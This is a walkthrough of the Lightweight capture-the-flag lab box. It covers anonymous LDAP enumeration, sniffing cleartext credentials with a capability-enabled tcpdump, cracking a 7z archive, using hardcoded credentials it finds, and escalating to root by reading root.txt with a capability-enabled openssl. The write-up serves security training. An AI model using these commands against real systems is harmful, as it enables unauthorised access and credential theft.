---
search:
  exclude: true
---
# Lightweight Writeup

![](img/37.png)

## Introduction :

Lightweight is a Medium linux box released back in December 2018.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~]
      → sudo nmap -vvv -sTU -p- 10.10.10.119 --max-retries 0 -Pn --min-rate=1000 | grep Discovered
      [sudo] password for nihilist:
      Discovered open port 80/tcp on 10.10.10.119
      Discovered open port 22/tcp on 10.10.10.119
      Discovered open port 389/tcp on 10.10.10.119
    
      [2020-03-30] [ 10.10.14.42/23 ] [~]
      → nmap -sCV -p80,22,389 10.10.10.119
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-30 15:09 BST
      Nmap scan report for 10.10.10.119
      Host is up (0.040s latency).
    
      PORT    STATE SERVICE VERSION
      22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
      | ssh-hostkey:
      |   2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
      |   256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
      |_  256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
      80/tcp  open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
      |_http-title: Lightweight slider evaluation page - slendr
      389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X
      | ssl-cert: Subject: commonName=lightweight.htb
      | Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
      | Not valid before: 2018-06-09T13:32:51
      |_Not valid after:  2019-06-09T13:32:51
      |_ssl-date: TLS randomness does not represent time
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 14.71 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80 running the http server on the domain name "lightweight.htb" so let's add it to our /etc/hosts file:

![](prg/37_001.png)

Here we see that the website claims to be protected against "bruteforging" so let's just move on to the ldap port our nmap scan picked up, enumerating it with ldapsearch: 
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → ldapsearch -x -h lightweight.htb -b "dc=lightweight,dc=htb"
      # extended LDIF
      #
      # LDAPv3
      # base  with scope subtree
      # filter: (objectclass=*)
      # requesting: ALL
      #
    
      # lightweight.htb
      dn: dc=lightweight,dc=htb
      objectClass: top
      objectClass: dcObject
      objectClass: organization
      o: lightweight htb
      dc: lightweight
    
      # Manager, lightweight.htb
      dn: cn=Manager,dc=lightweight,dc=htb
      objectClass: organizationalRole
      cn: Manager
      description: Directory Manager
    
      # People, lightweight.htb
      dn: ou=People,dc=lightweight,dc=htb
      objectClass: organizationalUnit
      ou: People
    
      # Group, lightweight.htb
      dn: ou=Group,dc=lightweight,dc=htb
      objectClass: organizationalUnit
      ou: Group
    
      # ldapuser1, People, lightweight.htb
      dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
      uid: ldapuser1
      cn: ldapuser1
      sn: ldapuser1
      mail: ldapuser1@lightweight.htb
      objectClass: person
      objectClass: organizationalPerson
      objectClass: inetOrgPerson
      objectClass: posixAccount
      objectClass: top
      objectClass: shadowAccount
      userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
       oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv
      shadowLastChange: 17691
      shadowMin: 0
      shadowMax: 99999
      shadowWarning: 7
      loginShell: /bin/bash
      uidNumber: 1000
      gidNumber: 1000
      homeDirectory: /home/ldapuser1
    
      # ldapuser2, People, lightweight.htb
      dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
      uid: ldapuser2
      cn: ldapuser2
      sn: ldapuser2
      mail: ldapuser2@lightweight.htb
      objectClass: person
      objectClass: organizationalPerson
      objectClass: inetOrgPerson
      objectClass: posixAccount
      objectClass: top
      objectClass: shadowAccount
      userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
       zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x
      shadowLastChange: 17691
      shadowMin: 0
      shadowMax: 99999
      shadowWarning: 7
      loginShell: /bin/bash
      uidNumber: 1001
      gidNumber: 1001
      homeDirectory: /home/ldapuser2
    
      # ldapuser1, Group, lightweight.htb
      dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
      objectClass: posixGroup
      objectClass: top
      cn: ldapuser1
      userPassword:: e2NyeXB0fXg=
      gidNumber: 1000
    
      # ldapuser2, Group, lightweight.htb
      dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
      objectClass: posixGroup
      objectClass: top
      cn: ldapuser2
      userPassword:: e2NyeXB0fXg=
      gidNumber: 1001
    
      # search result
      search: 2
      result: 0 Success
    
      # numResponses: 9
      # numEntries: 8
    

Looking at the results, we have 2 users : ldapuser1 and ldapuser2, Then we have userPassword which is a base64 string, so let's decode it, but before that we can also enumerate LDAP using nmap's built-in scripts: 
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → nmap --script=ldap-search lightweight.htb
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-30 15:20 BST
      Nmap scan report for lightweight.htb (10.10.10.119)
      Host is up (0.42s latency).
      Not shown: 997 filtered ports
      PORT    STATE SERVICE
      22/tcp  open  ssh
      80/tcp  open  http
      389/tcp open  ldap
      | ldap-search:
      |   Context: dc=lightweight,dc=htb
      |     dn: dc=lightweight,dc=htb
      |         objectClass: top
      |         objectClass: dcObject
      |         objectClass: organization
      |         o: lightweight htb
      |         dc: lightweight
      |     dn: cn=Manager,dc=lightweight,dc=htb
      |         objectClass: organizationalRole
      |         cn: Manager
      |         description: Directory Manager
      |     dn: ou=People,dc=lightweight,dc=htb
      |         objectClass: organizationalUnit
      |         ou: People
      |     dn: ou=Group,dc=lightweight,dc=htb
      |         objectClass: organizationalUnit
      |         ou: Group
      |     dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
      |         uid: ldapuser1
      |         cn: ldapuser1
      |         sn: ldapuser1
      |         mail: ldapuser1@lightweight.htb
      |         objectClass: person
      |         objectClass: organizationalPerson
      |         objectClass: inetOrgPerson
      |         objectClass: posixAccount
      |         objectClass: top
      |         objectClass: shadowAccount
      |         userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
      |         shadowLastChange: 17691
      |         shadowMin: 0
      |         shadowMax: 99999
      |         shadowWarning: 7
      |         loginShell: /bin/bash
      |         uidNumber: 1000
      |         gidNumber: 1000
      |         homeDirectory: /home/ldapuser1
      |     dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
      |         uid: ldapuser2
      |         cn: ldapuser2
      |         sn: ldapuser2
      |         mail: ldapuser2@lightweight.htb
      |         objectClass: person
      |         objectClass: organizationalPerson
      |         objectClass: inetOrgPerson
      |         objectClass: posixAccount
      |         objectClass: top
      |         objectClass: shadowAccount
      |         userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
      |         shadowLastChange: 17691
      |         shadowMin: 0
      |         shadowMax: 99999
      |         shadowWarning: 7
      |         loginShell: /bin/bash
      |         uidNumber: 1001
      |         gidNumber: 1001
      |         homeDirectory: /home/ldapuser2
      |     dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
      |         objectClass: posixGroup
      |         objectClass: top
      |         cn: ldapuser1
      |         userPassword: {crypt}x
      |         gidNumber: 1000
      |     dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
      |         objectClass: posixGroup
      |         objectClass: top
      |         cn: ldapuser2
      |         userPassword: {crypt}x
      |_        gidNumber: 1001
    
    

So from here we decode the b64 string we found earlier: 
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → echo 'e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
         zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x' | base64 -d -i
      {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
    

And here we see that this is the hashed password our nmap scan found, we can crack those hashes using rockyou.txt and john for example, but the intended way was to poke around the webservice further without using a directory bruteforcer, navigating to lightweight.htb/user.php: 

![](prg/37_002.png)

Here we are hinted towards logging in via ssh into the box using the credentials 10.10.14.42:10.10.14.42
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → ssh 10.10.14.42@lightweight.htb
      The authenticity of host 'lightweight.htb (10.10.10.119)' can't be established.
      ECDSA key fingerprint is SHA256:FWyyew+o9WoPYkfIKGEbTMsexks1z8ZkSUs9O+2AMSU.
      Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
      Warning: Permanently added 'lightweight.htb,10.10.10.119' (ECDSA) to the list of known hosts.
      10.10.14.42@lightweight.htb's password:
      [10.10.14.42@lightweight ~]$ id
      uid=1003(10.10.14.42) gid=1003(10.10.14.42) groups=1003(10.10.14.42) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
      [10.10.14.42@lightweight ~]$ ls /home
      10.10.14.2  10.10.14.42  ldapuser1  ldapuser2
    

Now once we are logged in, we had to check for binary capabilities using getcap which is available for us on the machine: 
    
    
      [10.10.14.42@lightweight ~]$ which getcap
      /usr/sbin/getcap
    

Poking around we find a few interesting binaries in /usr/sbin/ 
    
    
      [10.10.14.42@lightweight ~]$ getcap -r /bin
      [10.10.14.42@lightweight ~]$ getcap -r /usr/bin
      /usr/bin/ping = cap_net_admin,cap_net_raw+p
      [10.10.14.42@lightweight ~]$ getcap -r /usr/sbin
      /usr/sbin/mtr = cap_net_raw+ep
      /usr/sbin/suexec = cap_setgid,cap_setuid+ep
      /usr/sbin/arping = cap_net_raw+p
      /usr/sbin/clockdiff = cap_net_raw+p
      /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
    

So here we have to use tcpdump to capture traffic and store it as a .pcap file. Since tcpdump has the cap_net_admin and cap_net_raw+ep capabilities, we should be able to bind to any address for transparent proxying. So let's let it run for some time and check what our .pcap file has:
    
    
      10.10.14.42@lightweight ~]$ scp 10.10.14.42@lightweight.htb:/home/10.10.14.42/nihilist.pcap ./
      The authenticity of host 'lightweight.htb (10.10.10.119)' can't be established.
    ECDSA key fingerprint is SHA256:FWyyew+o9WoPYkfIKGEbTMsexks1z8ZkSUs9O+2AMSU.
    ECDSA key fingerprint is MD5:88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67.
    Are you sure you want to continue connecting (yes/no)? yes
    

Once we retrieved our nihilist.pcap file, we inspect it using wireshark and we see a cleartext ldap request that has ldapuser2's password : **8bc8251332abe1d7f105d3e53ad39ac2** so let's login as ldapuser2 using his credentials:
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → ssh ldapuser2@lightweight.htb
      ldapuser2@lightweight.htb's password:
      Permission denied, please try again.
      ldapuser2@lightweight.htb's password:
      Permission denied, please try again.
      ldapuser2@lightweight.htb's password:
      ldapuser2@lightweight.htb: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).
    

Nice try, we cannot ssh as ldapuser2 remotely, we need to do it locally using su: 
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → ssh 10.10.14.42@lightweight.htb
      10.10.14.42@lightweight.htb's password:
      Last login: Mon Mar 30 15:33:14 2020 from 10.10.14.42
      [10.10.14.42@lightweight ~]$ su ldapuser2
      Password:
      [ldapuser2@lightweight 10.10.14.42]$ whoami
      ldapuser2
      [ldapuser2@lightweight 10.10.14.42]$ cd ~
      [ldapuser2@lightweight ~]$ cat user.txt
      8aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to print out the user flag. 

## **Part 3 : Getting Root Access**

in ldapuser2's home directory there is a 7z archive named backup, we transfer it locally using a simple base64 copy paste:
    
    
      [ldapuser2@lightweight ~]$ base64 backup.7z
[encoded data, 4968 characters]
    

` ![](prg/37_003.png)

Once we successfully copied the password-protected 7z file we bruteforce it with rockyou and 7z.py 
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → python 7z.py backup.7z /usr/share/wordlists/rockyou.txt
    
      [...]
    
      [+] Password cracked with success : delete
    

And we have the password we need ! So we extract it and take a look at what's inside: 
    
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → 7z e backup.7z
    
      7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
      p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
    
      Scanning the drive for archives:
      1 file, 3411 bytes (4 KiB)
    
      Extracting archive: backup.7z
      --
      Path = backup.7z
      Type = 7z
      Physical Size = 3411
      Headers Size = 259
      Method = LZMA2:12k 7zAES
      Solid = +
      Blocks = 1
    
    
      Enter password (will not be echoed):
      Everything is Ok
    
      Files: 5
      Size:       10270
      Compressed: 3411
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → ls
      backup.7z  backup.7z.b64  index.php  info.php  reset.php  status.php  user.php
    
      [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight]
      → cat status.php
    

Here the hint was to take a look into status.php which contains hardcoded credentials for ldapuser1:
    
    
      [...]
    
      <****?php**$username = 'ldapuser1';
      $password = 'f3ca9d298a553da117442deeb6fa932d';**
      $ldapconfig['host'] = 'lightweight.htb';
      $ldapconfig['port'] = '389';
      $ldapconfig['basedn'] = 'dc=lightweight,dc=htb';
      //$ldapconfig['usersdn'] = 'cn=users';
      $ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);
      ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
      ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
    
      [...]
    

So we use su once again to login as ldapuser1 from ldapuser2:
    
    
      [ldapuser2@lightweight ~]$ su ldapuser1
      Password:
      [ldapuser1@lightweight ldapuser2]$ cd ~
      [ldapuser1@lightweight ~]$ ls
      capture.pcap  ldapTLS.php  openssl  tcpdump
    

And we have access to user1's homefiles ! now let's check the permissions here and the binary capabilities: 
    
    
      [ldapuser1@lightweight ~]$ ls -lash
      total 1.5M
         0 drwx------. 4 ldapuser1 ldapuser1  181 Jun 15  2018 .
         0 drwxr-xr-x. 6 root      root        77 Mar 30 15:11 ..
         0 -rw-------. 1 ldapuser1 ldapuser1    0 Jun 21  2018 .bash_history
      4.0K -rw-r--r--. 1 ldapuser1 ldapuser1   18 Apr 11  2018 .bash_logout
      4.0K -rw-r--r--. 1 ldapuser1 ldapuser1  193 Apr 11  2018 .bash_profile
      4.0K -rw-r--r--. 1 ldapuser1 ldapuser1  246 Jun 15  2018 .bashrc
         0 drwxrwxr-x. 3 ldapuser1 ldapuser1   18 Jun 11  2018 .cache
       12K -rw-rw-r--. 1 ldapuser1 ldapuser1 9.5K Jun 15  2018 capture.pcap
         0 drwxrwxr-x. 3 ldapuser1 ldapuser1   18 Jun 11  2018 .config
      4.0K -rw-rw-r--. 1 ldapuser1 ldapuser1  646 Jun 15  2018 ldapTLS.php
      544K -rwxr-xr-x. 1 ldapuser1 ldapuser1 543K Jun 13  2018 openssl
      924K -rwxr-xr-x. 1 ldapuser1 ldapuser1 921K Jun 13  2018 tcpdump
      [ldapuser1@lightweight ~]$ getcap -r .
      ./tcpdump = cap_net_admin,cap_net_raw+ep
      ./openssl =ep
    

Here openssl is our candidate for root privesc, since it has the ep capabilities, which means that we can simply read the root flag by using the base64 encoding function in openssl:
    
    
      [ldapuser1@lightweight ~]$ ls
      capture.pcap  ldapTLS.php  openssl  tcpdump
      [ldapuser1@lightweight ~]$ ./openssl enc -base64 -in /root/root.txt -out ./root.txt.b64
      [ldapuser1@lightweight ~]$ base64 -d root.txt.b64
      f1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to print out the root flag. 

## **Conclusion**

Here we can see the progress graph :

![](img/37_graph.png)

